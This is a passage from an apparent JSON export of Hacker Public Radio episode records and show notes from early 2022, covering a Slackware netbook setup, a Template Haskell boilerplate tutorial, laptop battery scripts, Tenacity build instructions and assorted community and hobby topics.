                                                                \nI just downloaded the .zip from GitLab and while trying the commands, I realize a section with dependencies is missing. I think pip is too large, so, I usually do run it in an virtualenv.
                                                                \nIn other Phython projects like here: https://github.com/jonaswinkler/paperless-ng/blob/master/requirements.txt you find a requirements.txt. I was wondering if you add one too?
                                                                \n
                                                                \nBr,
                                                                \nReto\n


                                                              \n
                                                            • hpr3498\n(2021-12-29) \"Linux Inlaws S01E45: The Big Xmas New Year bash with the Grumpies\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\noperat0r on 2022-01-09:\n\"Love this show\"\n

                                                                reminds me a little bit of udev random podcast. this one had a lot of laughs! You guys are my friends for now. Mine won't do anything.. Holidays are hard for some/most people. Shooting the shit and ranting are my fav podcast eps!
                                                                \n
                                                                \nTake care of yourselves! your the only U you have!\n


                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 5 comments on 5 of this month's shows:

                                                            \n
                                                            • hpr3504\n(2022-01-06) \"James Webb Space Telescope\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2022-01-06:\n\"Mission control\"

                                                              \n
                                                            • hpr3505\n(2022-01-07) \"A DX with Hotel Bravo 9 Hotel November Tango\"\nby beni.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbaffled on 2022-01-11:\n\"Nice show!\"

                                                              \n
                                                            • hpr3510\n(2022-01-14) \"Syntax, Switches, and Help\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2022-01-17:\n\"This brought some memories\"

                                                              \n
                                                            • hpr3516\n(2022-01-24) \"Rant about RX\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJanedoc on 2022-01-26:\n\"empathize with you\"

                                                              \n
                                                            • hpr3517\n(2022-01-25) \"Hp stream laptop with Lubuntu 20.04\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJesse on 2022-01-25:\n\"Monty Mint phone\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-January/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            This month 120 additional shows in the range 1-870 have been uploaded.

                                                            \n

                                                            The number of shows left to upload in this range is now: 124.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3527,"date":"2022-02-08","title":"My gEeeky Experiment - Part 3","duration":816,"summary":"Claudio talks about how he upgraded the SSD on his Asus Eee PC 901 netbook.","notes":"\n

                                                            Contact: claudiom@bsd.network (Mastodon)
                                                            \nIRC: ClaudioM on #oggcastplanet (Libera.chat)

                                                            \n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"openbsd,netbook,asus,eeepc,upgrades,ssd","version":0,"downloads":0,"valid":1}, {"id":3528,"date":"2022-02-09","title":"Slackware on a netbook","duration":346,"summary":"A response show to HPR3512","notes":"

                                                            Installed Slackware on Acer Aspire One

                                                            \n
                                                              \n
                                                            • 4.4.14-smp #2 SMP Fri Jun 24 14:44:24 CDT 2016 i686 Intel(R) Atom(TM) CPU N270 @ 1.60GHz GenuineIntel GNU/Linux

                                                            • \n
                                                            • 1 Gb ram

                                                              \n
                                                              [mark@archer72:~ ] $ free total --mega\n    total    used  free  shared  buff/cache   available\nMem:           1009         172         376           0         459         692\nSwap:          1048           0        1048
                                                            • \n
                                                            • Runs a little warm

                                                              \n
                                                              [mark@archer72:~ ] $ sensors\n\ncoretemp-isa-0000\nAdapter: ISA adapter\nCore 0:       +45.0 &#8451;  (crit = +90.0 &#8451;)
                                                            • \n
                                                            • Ignore lid switch

                                                              \n

                                                              echo on >/sys/bus/acpi/drivers/button/$PLATFORM\\:00/power/control

                                                              \n

                                                              Or in this case

                                                              \n

                                                              echo on > /bus/acpi/drivers/button/LNXPWRBN\\:00/power/control

                                                            • \n
                                                            • Clear screen in BASH

                                                              \n
                                                                \n
                                                              • Enter in ~/.bashrc the line:

                                                                \n

                                                                bind -x $'\"\\C-l\":clear;'

                                                              • \n
                                                              • Not working between reboots

                                                              • \n
                                                            • \n
                                                            \n

                                                            \n

                                                            If you always want the content of your .bashrc file processed, you can add the following lines to your .bash_profile file, creating that file if it does not already exist:

                                                            \n
                                                            if [ -f ~/.bashrc ]; then\n    . ~/.bashrc\nfi
                                                            \n

                                                            Per its man page, bash \"[...] looks for ~/.bash_profile, ~/.bash_login, and ~/.profile, in that order, and reads and executes commands from the first one that exists and is readable.\" Conventions and policies of your local system will determine which, if any, of these files already exist.

                                                            \n

                                                            A word of caution: be aware that creating a new .bash_profile in your home directory could have the unintended side-effect of preventing the reading and executing of commands in a .bash_login or .profile file already present, changing further the behavior of subsequent logins.

                                                            \n

                                                            https://stackoverflow.com/questions/18393521/bashrc-not-loading-until-run-bash-command

                                                            \n
                                                              \n
                                                            • Change lilo menu timeout to 5 seconds

                                                              \n
                                                                \n
                                                              • edit /etc/lilo.conf

                                                                \n
                                                                .\n.\n# This is given in tenths of a second, so 600 for every minute:\n# timeout = 1200\ntimeout = 50\n.\n.
                                                              • \n
                                                            • \n
                                                            • Add custom bash prompt.

                                                              \n
                                                                PS1=""[\\d \\t \\u@\\h:\\w ]" $ "\n  [Sat Feb 05 18:11:15 mark@archer72:~ ] $
                                                            • \n
                                                            • For a more concise prompt:

                                                              \n
                                                                PS1="[\\u@\\h:\\w ] $\n  [mark@archer72:~ ] $
                                                            • \n
                                                            • Not authorized to control networking

                                                              \n

                                                              sudo usermod -G netdev -a yourusername

                                                              \n
                                                            • \n
                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Slackware, Auld hardware, netbook","version":0,"downloads":0,"valid":1}, {"id":3529,"date":"2022-02-10","title":"Linux Inlaws S01E48: Year Two of the Five Year Plan","duration":3127,"summary":"The two ageing heroes discuss the past year in review","notes":"

                                                            Right into the third year of the first five-year plan our two ageing heroes\ndiscuss the past year in review (blatantly stealing this concept from other\npopular podcasts), focussing on the hotter episodes of second year and\nprogress with increasing the number of active listeners from two to five and\nbeyond. Also, major fuck-ups and lessons learned from them are revealed\nincluding some ranting about badly designed and implemented software never\nmind documentation.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"2021, review, communism, five year plan, Grumpy Old Coders, MiniDebConf","version":0,"downloads":0,"valid":1}, {"id":3530,"date":"2022-02-11","title":"Filenames and ASCII","duration":875,"summary":"We continue our look at the old warhorse, DOS. This time it is DOS filenames and ASCII","notes":"

                                                            In a purely text-based operating system you need to pay special attention to naming files. You won't have any helpful icons or thumbnails to help you locate things. So we dig into the file naming conventions in DOS, including forbidden characters. And since the possible characters all come from the ASCII character set, we do a small look at that as well.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, filenames, ASCII","version":0,"downloads":0,"valid":1}, {"id":3531,"date":"2022-02-14","title":"Barrier: Software KVM","duration":1039,"summary":"A brief inroduction to the Barrier software KVM","notes":"

                                                            This episode is a quick software recommendation/introduction to Barrier. Barrier is a software KVM, forked from Synergy. It sends your keystrokes and mouse input over the network, so that you can share your input devices between computers.

                                                            \n","hostid":196,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"kvm,Barrier,network,keyboard,mouse","version":0,"downloads":0,"valid":1}, {"id":3532,"date":"2022-02-15","title":"Self-hosting in small scale E0: Disclaimer and general idea","duration":545,"summary":"This ep is just explanation of the general idea and introducing useful communities around the topic","notes":"

                                                            By the end of the series I would like to end up with an example repository on Github/Gitlab with scenarios and example configuration file which makes them easy to replicate and modify to your need. I am interested in your opinion what type of service would you fancy to self-host yourself. So don't hesitate to contact me on twitter, matrix.org or in email.

                                                            \n

                                                            Twitter: @takov751
                                                            \nmatrix: takov751:matrix.org
                                                            \nemail: takov751+hpr@protonmail.com

                                                            \n

                                                            Few interesting communities/project:

                                                            \n\n","hostid":402,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"self-host, devsecops, docker","version":0,"downloads":0,"valid":1}, {"id":3533,"date":"2022-02-16","title":"Porridge","duration":1741,"summary":"A show about porridge","notes":"

                                                            This is a show about porridge.

                                                            \n

                                                            Episodes mentioned in this episode:

                                                            \n\n

                                                            Island mentioned in this episode: https://en.wikipedia.org/wiki/St_Kilda,_Scotland

                                                            \n

                                                            All the porridge: https://en.wikipedia.org/wiki/List_of_porridges

                                                            \n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"porridge","version":0,"downloads":0,"valid":1}, {"id":3534,"date":"2022-02-17","title":"Vernier caliper","duration":519,"summary":"Ken recommends a very useful tool for measuring stuff","notes":"

                                                            \nIn today's show Ken recommends a fairly affordable tool for measuring all sorts of dimensions.\n

                                                            \n\n\"An\n\n

                                                            \nFrom Wikipedia\n

                                                            \n\n
                                                              \n\n
                                                            1. Outside large jaws: used to measure external diameter of an object (like a hollow cylinder) or width of an object (like a rod), diameter of an object (like a sphere).
                                                            2. \n
                                                            3. Inside small jaws: used to measure the internal diameter of an object (like a hollow cylinder or pipe).
                                                            4. \n
                                                            5. Depth probe/rod: used to measure depths of an object (like a small beaker) or a hole.
                                                            6. \n
                                                            7. Main scale (Metric): marked every millimeter and helps to measure length correct up to 1 mm.
                                                            8. \n
                                                            9. Main scale (Imperial): marked in inches and fractions.
                                                            10. \n
                                                            11. Vernier scale (Metric) gives interpolated measurements to 0.1 mm or better.
                                                            12. \n
                                                            13. Vernier scale (Imperial) gives interpolated measurements in fractions of an inch.
                                                            14. \n
                                                            15. Retainer: used to block movable part to allow the easy transferring of a measurement.
                                                            16. \n
                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Vernier Caliper,measurement","version":0,"downloads":0,"valid":1}, {"id":3535,"date":"2022-02-18","title":"template Haskell","duration":2849,"summary":"turturto talks how she's using template Haskell to cut down amount of code she writes","notes":"

                                                            There's certain amount of boilerplate code in my game that keeps repeating time after time. I can't quite remove it, but I can hide it with template haskell.

                                                            \n

                                                            newtype recap

                                                            \n

                                                            I'll be using PlanetName as an example throughout the show. newtype is Haskell's way of defining a new type, that wraps around an old type. This lets us to give better meaning to the wrapped type. Instead of talking about Text, we can talk about PlanetName and we won't accidentally mix it up with StarName or ContentsOfAlexandrianLibrary. It comes with no performance cost at all, as the wrapping is removed during the compilation.

                                                            \n

                                                            Below is how our PlanetName is defined:

                                                            \n
                                                            newtype PlanetName\n   = MkPlanetName {_unPlanetName :: Text}\n   deriving (Show, Read, Eq)\n
                                                            \n

                                                            It has:

                                                            \n
                                                              \n
                                                            • type constructor PlanetName
                                                            • \n
                                                            • data constructor MkPlanetName
                                                            • \n
                                                            • single field _unPlanetName
                                                            • \n
                                                            • type for that field Text
                                                            • \n
                                                            • deriving clause, telling compiler to automatically generate Show, Read and Eq instances
                                                            • \n
                                                            \n

                                                            If it were wrapping a Integer, we would add Ord and Num instances too.

                                                            \n

                                                            These instances give us some basic functions that we can use to turn out value into String and back or compare two values to see if they're equal or not. Ord lets us compare their relative size and Num adds some basic arithmetics like addition and subtraction.

                                                            \n

                                                            Remember, type constructor is used when talking about the type (function signatures, declaring type of a value, etc.), while data constructor is used to create values of the type (\"Earth\", \"Mars\", etc.). isPlanet :: PlanetName -> Bool states that isPlanet function takes one parameter of type PlanetName and returns value of type Bool. planet = MkPlanetName \"Earth\" creates a new value planet, that has type PlanetName and which value is MkPlanetName \"Earth\".

                                                            \n

                                                            Boilerplate

                                                            \n

                                                            When PlanetName is defined, I need to add some instances by hand: IsString, ToJSON, FromJSON, PersistField and PersistFieldSql.

                                                            \n

                                                            IsString lets me use string literals in code, without having to call the data constructor. Compiler is smart enough to infer from context if string I typed should be PlanetName or something else.

                                                            \n

                                                            ToJSON and FromJSON are used to turn value to and from json for transferring back and forth between client and server. In json our value is just simple string, but we still need to program that transformation.

                                                            \n

                                                            PersistFieldSql tells Persistent (database layer I'm using) what type of database field should be created to hold this data in database.

                                                            \n

                                                            PersistField contains functions for serializing our value to database and loading it from there.

                                                            \n

                                                            Below is full code that I want to abstract out as much as I can:

                                                            \n
                                                            newtype PlanetName\n   = MkPlanetName {_unPlanetName :: Text}\n   deriving (Show, Read, Eq)\n\ninstance IsString PlanetName where\n   fromString = (MkPlanetName . fromString)\n\ninstance ToJSON PlanetName where\n   toJSON = (toJSON . _unPlanetName)\n\ninstance FromJSON PlanetName where\n   parseJSON = (withText "PlanetName") (return . MkPlanetName)\n\ninstance PersistField PlanetName where\n   toPersistValue (MkPlanetName s) = PersistText s\n   fromPersistValue (PersistText s) = (Right $ MkPlanetName s)\n   fromPersistValue _ = Left "Failed to deserialize"\n\ninstance PersistFieldSql PlanetName where\n   sqlType _ = SqlString\n
                                                            \n

                                                            Template Haskell

                                                            \n

                                                            Template Haskell is an extension that adds metaprogramming capabilities to Haskell. One can write function that generates Haskell code and call it in appropriate place in source file. During compilation the function gets executed and resulting code injected in source file. After this source file is compiled normally. If you have used lisp macros, this is the similar thing.

                                                            \n

                                                            Generating the code

                                                            \n

                                                            We want a function that can be called like $(makeDomainType \"PlanetName\" ''Text) and it will create all the boiler plate for us.

                                                            \n

                                                            The function is show below:

                                                            \n
                                                            makeDomainType :: String -> Name -> Q [Dec]\nmakeDomainType name fType = do\n    tq <- reify fType\n    case tq of\n        TyConI (DataD _ tName _ _ _ _) ->\n            selectDomainType name tName\n        _ -> do\n            Language.Haskell.TH.reportError "Only simple types are supported"\n            return []\n
                                                            \n

                                                            reify is interesting function. When called during compile time and given a name, it'll figure what the name refers to and construct datastructure that contains relevant information about the thing. If you were to give it name of a function, you would have access to code inside of the function and could introspect it.

                                                            \n

                                                            Here we're using tq <- reify fType to find out what kind of type our code should wrap. Code uses pattern matching to match TyConI (DataD _ tName _ _ _ _). This is referring to a type constructor. In all other cases (more complex types, functions and so on), code reports and error.

                                                            \n

                                                            Since code should support different types of types and the respective generated code differs, next there's check to find out what kind of code to generate:

                                                            \n
                                                            selectDomainType :: String -> Name -> Q [Dec]\nselectDomainType name fType\n    | fType == ''Text = makeTextDomainType name\n    | fType == ''Int  = makeIntDomainType name\n    | otherwise = do\n                    Language.Haskell.TH.reportError "Unsupported type"\n                    return []\n
                                                            \n

                                                            This uses guard clause to check if fType is Text or Int and call respective function to generate it. Again, if there's no match, code reports an error.

                                                            \n

                                                            I could have written a function that generates all the code, but that would have been pretty long and hard to maintain. Instead of that, I opted to split generation in parts. makeTextDomainType calls these functions, one at a time and combines the results together to form the final code to be generated.

                                                            \n
                                                            makeTextDomainType :: String -> Q [Dec]\nmakeTextDomainType name = do\n    td <- makeNewTypeDefinition name ''Text\n    si <- makeIsStringInstance name\n    tj <- makeToJSONInstance name\n    fj <- makeFromJSONInstanceForText name\n    mp <- makePersistFieldInstanceForText name\n    mps <- makePersistFieldSqlInstance name ''Text\n    return $ td ++ si ++ tj ++ fj ++ mp ++ mps\n
                                                            \n

                                                            Some of the functions called are specific for Text type, while others are written to work with Text and Int. The latter ones have extra parameter passed in to indicate which type of code should be generated.

                                                            \n

                                                            Actual code generation

                                                            \n

                                                            Now we're getting into actual code generation. First one is makeNewTypeDefinition, which generates code for newtype.

                                                            \n
                                                            makeNewTypeDefinition :: String -> Name -> Q [Dec]\nmakeNewTypeDefinition name fType = do\n    deriv <- derivClausForNewType fType\n    return $\n        [NewtypeD []\n                 (mkName name)\n                 []\n                 Nothing\n                 (RecC (mkName $ "Mk" ++ name)\n                       [(mkName $ "_un" ++ name, Bang NoSourceUnpackedness NoSourceStrictness, (ConT fType))])\n                 [ DerivClause Nothing deriv]]\n
                                                            \n

                                                            First step is to call derivClausForNewType to create deriving clause (we'll look into that just in a bit). The major part of the code consist of generating newtype definition. There's two ways for code generation: quoting (which works very similar to lisp macros) and writing abstract syntax tree by hand. No matter what I tried, I couldn't get the quoting work for newtype, so I had to write the AST out by hand. And as you can see, it's not particularly pleasant experience. Constructor names are short and cryptic and there's plenty of them there. Some major parts:

                                                            \n
                                                              \n
                                                            • NewtypeD starts definition for newtype
                                                            • \n
                                                            • (mkName name) creates Name for the newtype, PlanetName in our example
                                                            • \n
                                                            • RecC record constuctor. We have a single record in our newtype, remember?
                                                            • \n
                                                            • DerivClause deriving clause, which istructs compiler to autogenerate some useful instances for us
                                                            • \n
                                                            \n

                                                            And RecC takes a bunch of parameters to guide what kind of record we're actually creating:

                                                            \n
                                                              \n
                                                            • (mkName $ \"Mk\" ++ name) creates Name for our record constructor, MkPlanetName in our case
                                                            • \n
                                                            • then there's a list of tuples defining fields of constructor, which has only one element in our case
                                                            • \n
                                                            • first is name of the field mkName $ \"_un\" ++ name, which is _unPlanetName in our case
                                                            • \n
                                                            • Bang controls source packedness (that I don't know what it really is) and strictness (when value should be computed)
                                                            • \n
                                                            • finally, ConT fType creates type constructor call, indicating type of the field: Text in our case
                                                            • \n
                                                            \n

                                                            That's quite lot to write and keep track of. It's especially tedious to come back to code and figure out what it is exactly doing.

                                                            \n

                                                            Lets not forget our deriving clause:

                                                            \n
                                                            derivClausForNewType :: Name -> Q [Type]\nderivClausForNewType fType\n    | fType == ''Text = return $ (ConT . mkName) <$> [ "Show", "Read", "Eq" ]\n    | fType == ''Int = return $ (ConT . mkName) <$> [ "Show", "Read", "Eq", "Ord", "Num" ]\n    | otherwise = do Language.Haskell.TH.reportError "Unsupported type"\n                     return []\n
                                                            \n

                                                            Again we're using guard to check if we're working with Text or Int and in any other case signal an error. <$> is used to call (ConT . mkName) function to elements in list of strings, getting back a list of type constructors.

                                                            \n

                                                            Next step, we create IsString instance for turning string literals into our domain type.

                                                            \n
                                                            makeIsStringInstance :: String -> Q [Dec]\nmakeIsStringInstance name = do\n    [d|instance IsString $(conT $ mkName name) where\n            fromString = $(conE $ mkName $ "Mk" ++ name) . fromString|]\n
                                                            \n

                                                            Here I could get quoting to work. In the example, everything inside of [d| ... |] is quoted literally, ie. I don't have to bother with AST, but can just write in plain Haskell what I want the result to be. $ that is immediately followed with another symbol is used to unquote. $(conT $ mkName name) executes conT $ mkName name and splices result inside the quote. Because name is a String, we can create a new String by appending \"Mk\" at the start of it. This creates our data constructor MkPlanetName. Notice how we use conT when creating a type constructor and conE for applying data constructor.

                                                            \n

                                                            For transforming our domain type to and from json we need ToJSON and FromJSON instances. Generating them is very similar than generating IsString instance, but I have included them below for sake of completeness.

                                                            \n
                                                            makeToJSONInstance :: String -> Q [Dec]\nmakeToJSONInstance name = do\n    [d|instance ToJSON $(conT $ mkName name) where\n            toJSON = toJSON . $(varE $ mkName $ "_un" ++ name)|]\n\nmakeFromJSONInstanceForText :: String -> Q [Dec]\nmakeFromJSONInstanceForText name = do\n    [d|instance FromJSON $(conT $ mkName name) where\n            parseJSON =\n                withText name\n                    (return . $(conE $ mkName $ "Mk" ++ name))|]\n
                                                            \n

                                                            Next we'll take serializing to and from database. Since Persistent takes care of the details, it's enough that we have two instances that interface with Persistent. First one of them is PersistField as show below:

                                                            \n
                                                            makePersistFieldInstanceForText :: String -> Q [Dec]\nmakePersistFieldInstanceForText name = do\n    let constName = mkName $ "Mk" ++ name\n        constPatt = conP constName [varP $ mkName "s"]\n        pTextPatt = conP (mkName "PersistText") [varP $ mkName "s"]\n    [d|instance PersistField $(conT $ mkName name) where\n            toPersistValue $constPatt =\n                PersistText s\n\n            fromPersistValue $pTextPatt =\n                Right $ $(conE constName) s\n\n            fromPersistValue _ =\n                Left "Failed to deserialize"|]\n
                                                            \n

                                                            This has more code into it as the type class requires us to implement three functions. Imagine how tedious this would be to write out as plain AST. But thanks to quoting, we can write most of the code as it were regular Haskell and just splice in the parts that vary.

                                                            \n

                                                            First notable part in it is constPatt = conP constName [varP $ mkName \"s\"], which creates a pattern used in pattern matching. When toPersistValue is called with MkPlanetName s as parameter, our pattern matches and we have access to s. When then call data constructor PersistText s and let Persistent to save this newly created value into database.

                                                            \n

                                                            Second pattern in the code is conP (mkName \"PersistText\") [varP $ mkName \"s\"] and we use it in fromPersistValue function. So when that function is called with PersistText s, our pattern matches and we have access to s. Which we then use to call MkPlanetName s to construct our domain type. If fromPersistValue would be called with something else, say numeric value from database, fromPersistValue _ pattern matches and we'll report an error. This normally shouldn't happen, but it's good practice to always cover all patterns, otherwise we get a nasty runtime exception and whole program grinds to halt.

                                                            \n

                                                            Last piece in our long puzzle is PersistFieldSql, which tells Persistent the type of the backing field in database.

                                                            \n
                                                            makePersistFieldSqlInstance :: String -> Name -> Q [Dec]\nmakePersistFieldSqlInstance name fType = do\n    let typeName = mkName name\n    let backingType = selectBackingSqlType fType\n    [d|instance PersistFieldSql $(conT typeName) where\n            sqlType _ = $backingType|]\n\nselectBackingSqlType :: Name -> ExpQ\nselectBackingSqlType fType\n    | fType == ''Text = conE $ mkName "SqlString"\n    | fType == ''Int  = conE $ mkName "SqlInt64"\n    | otherwise = do Language.Haskell.TH.reportError "Unsupported type"\n                     return $ ConE $ mkName "SqlString"\n
                                                            \n

                                                            This is probably starting to look familiar to you by now. We create instance of PersistFieldSql for our domain type. For Text we want to save data as SqlString and for Int we use SqlInt64. The actual, concrete and definite, column type is actually selected by Persistent based on this information. Persistent supports different kinds of databases, so it'll take care of mapping this information for the actual database product we're using.

                                                            \n

                                                            In closing

                                                            \n

                                                            Using template Haskell can cut down amount of boiler plate code. It also lets you create new abstractions that might not be possible with the tools offered by regular Haskell. All this is nice until things don't work as planned and you have to figure out why. Debugging complicated template Haskell, especially if written by somebody else, can be tedious.

                                                            \n

                                                            As usual, if you have any questions, comments or feedback, feel free to reach out for me via email or in fediverse where I'm Tuula@tech.lgbt. Or even better, record your own episode telling us where you use template Haskell or why did you choose not to use it at all.

                                                            \n

                                                            ad astra!

                                                            \n","hostid":364,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"haskell, metaprogramming, template haskell","version":0,"downloads":0,"valid":1}, {"id":3536,"date":"2022-02-21","title":"Laptop power problems","duration":1398,"summary":"This is a story of a laptop with two power problems.","notes":"

                                                            This is a story of a laptop with two power problems.

                                                            \n

                                                            The first and less severe is that sometimes the charging of the battery will get stuck at a certain percentage. This is not simply due to the effect commonly found with aging batteries but a fault with the laptop's charging hardware. A full reset of the charging system can fix it, which for this ASUS Zenbook UX550vd laptop requires a long press — meaning 40 seconds — from its shutdown state.

                                                            \n

                                                            The second and more serious issue is that the laptop thinks that it is plugged into AC power even when it is running only on battery. I ruled out an operating system or software issue because the issue remains whether running GNU/linux or Windows. The problem is serious because the power management software, in my case in KDE, will not respond to critically low battery levels by suspending or gracefully shutting down. It may be that a sudden loss of power damaged the previous SSD in this laptop, which was the subject of HPR 3428.

                                                            \n

                                                            My first attempt to fool KDE into seeing accurate battery information under /sys/class/power_supply/BAT0 using an overlay filesystem failed presumably because KDE's power system is listening out for some kind of event rather than simply monitoring those files. My second and successful attempt involved writing my own bash scripts run by cron to monitor battery levels and initiate actions when they got too low. There were errors with comedic consequences along the way. In fact, while writing these shownotes after I finished recording the audio, the laptop suspended itself because of a bug in my script - I used le (less than or equal to) rather than lt (less than) in my test for a change in the battery charge leading to unintended and fun consequences when the battery was fully charged.

                                                            \n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"laptop,linux,power","version":0,"downloads":0,"valid":1}, {"id":3537,"date":"2022-02-22","title":"getting to blinky with flashforth","duration":1708,"summary":"making an arduino board useful","notes":"\n
                                                            : hw1 ." Hello, world!" ;\n: led-on %00100000 PORTB mset ;\n: led-off %00100000 PORTB mclr ;\n: flash-led begin led-on #1000 ms led-off #1000 ms again ;
                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"arduino, forth","version":0,"downloads":0,"valid":1}, {"id":3538,"date":"2022-02-23","title":"Installing the Tenacity audio editor","duration":272,"summary":"Installing Tenacity, and the reasons behind the fork.","notes":"

                                                            Audacity vs. Tenacity

                                                            \n\n

                                                            Tenacity project page

                                                            \n\n
                                                            Reason for forking the Audacity project
                                                            \n

                                                            Motivation

                                                            \n

                                                            Our project initially started as a fork of Audacity as a result of multiple controversies and public relation crises, which you can find out more about here:

                                                            \n\n

                                                            Nevertheless, the goal of this project is to pick up what the original developers of Audacity the decades-long work by the original creators of Audacity and create an audio editor that is fresh, more modern, convenient and practical to use, with the help and the guidance of our users and our community.

                                                            \n\n
                                                            Community section
                                                            \n\n
                                                            Flatpak nightly build
                                                            \n\n
                                                            flatpak remote-add tenacity oci+https://tenacityteam.github.io/tenacity-flatpak-nightly\nflatpak install tenacity org.tenacityaudio.Tenacity
                                                            \n
                                                              \n
                                                            • Update Flatpak
                                                              \n
                                                                \n
                                                              • flatpak update tenacity org.tenacityaudio.Tenacity
                                                              • \n
                                                            • \n
                                                            \n

                                                            Build instructions for Cmake

                                                            \n\n
                                                            Clone Tenacity from the Tenacity GitHub project.\n\n    $ git clone https://github.com/tenacityteam/tenacity/\n    $ cd tenacity\n\n    Configure Tenacity using CMake:\n\n    $ mkdir build && cd build\n    $ cmake -G "Unix Makefiles" -Duse_ffmpeg=loaded ..\n\n    By default, Debug build will be configured. To change that, pass -DCMAKE_BUILD_TYPE=Release to CMake.\n\n    Build Tenacity:\n\n    $ make -j`nproc`\n\n    $ sudo make install
                                                            \n

                                                            Current version:3.0.2-895-g0665614
                                                            \n\"Current

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Tenacity, Audacity, Github, Cmake, make, audio editor, telemetry, Google, tracking","version":0,"downloads":0,"valid":1}, {"id":3539,"date":"2022-02-24","title":"Linux Inlaws S01E50: The OpenSUSE Project","duration":4079,"summary":"An interview with Doug DeMaio and Axel Braun from the OpenSUSE project","notes":"

                                                            In this episode of the Inlaws our two ageing heroes host Doug DeMaio and Axel Braun, both intimately\nassociated with and actively supporting the OpenSUSE project, the foundation of one of the popular Linux distros\napart from RedHat and Debian for companies of all sizes (yes, and Ubuntu before I get any hate mails\nfrom Mark Shuttleworth or Cannonical in general :-). Apologies for not mentioning Alma, CentOS or\nRocky Linux. Topics of discussion include the advantages of hipster concepts like rolling releases,\nthe year of the Linux desktop, other people's computers (aka Clouds) and philosophical things like\nIT security, all things cloud-native (well, almost) and Apple laptop users drinking fancy coffee\nderivatives. Never mind containers, edge-computing operating systems and live kernel patching.

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"OpenSUSE, Kubic, MicroOS, Clouds, Lattes, Desktops","version":0,"downloads":0,"valid":1}, {"id":3540,"date":"2022-02-25","title":"HSV Components Layer Modes","duration":1216,"summary":"More on Layer Modes in GIMP with the HSV Components Modes","notes":"

                                                            Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the HSV Components Modes, which brings us to yet another color model, in this case the Hue, Saturation, and Value model. We've already looked at RGB, which is the model used for most broadcast and online uses, and the CMYK model which is used for printing. These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layer Modes, Blending Modes, HSV Components Modes","version":0,"downloads":0,"valid":1}, {"id":3541,"date":"2022-02-28","title":"The case of missing ideas.","duration":940,"summary":"With negotiation painful barely legible robotic voices will develop into beautiful expressive music ","notes":"

                                                            Just a mixed up overview of cases in the natural human languages of Russian and English types.

                                                            ","hostid":398,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"language , cases , russian , grammar , ideas","version":0,"downloads":0,"valid":1}, {"id":3542,"date":"2022-03-01","title":"The Worst Car I Ever Had","duration":651,"summary":"Beeza releases 30 years of frustration about a particularly dreadful car he once owned.","notes":"

                                                            Most of us who drive have probably owned a number of cars over the years. Some are inevitably better than others but there may be one which stands head and shoulders above the rest as the WORST car we've ever owned.

                                                            \n

                                                            In this episode Beeza gets off his chest a tale of woe regarding a rogue car he had the misfortune to own in the mid 80s.

                                                            \n

                                                            Maybe other HPR listeners will care to tell their own horror stories in due course......

                                                            \n","hostid":246,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Cars, automobiles","version":0,"downloads":0,"valid":1}, {"id":3543,"date":"2022-03-02","title":"Idle thoughts on web browsers","duration":476,"summary":"and a call for your own on the same","notes":"

                                                            Mentioned in this episode were:

                                                            \n

                                                            Sweet Maria's Coffee: Personal Brewing Routines & The Weirdness of Coffee Culture
                                                            \nhttps://sweetmarias.libsyn.com/personal-brewing-routines-the-weirdness-of-coffee-culture

                                                            \n

                                                            Hacker Public Radio 3273: Embrace Firefox, by Some Guy On The Internet
                                                            \nhttps://hackerpublicradio.org/eps.php?id=3273

                                                            \n

                                                            To contribute your own idle thoughts in voice message form, join #thoughtsonbrowsers:matrix.org and leave your voice message. Then join #hpr:matrix.org and say hello.

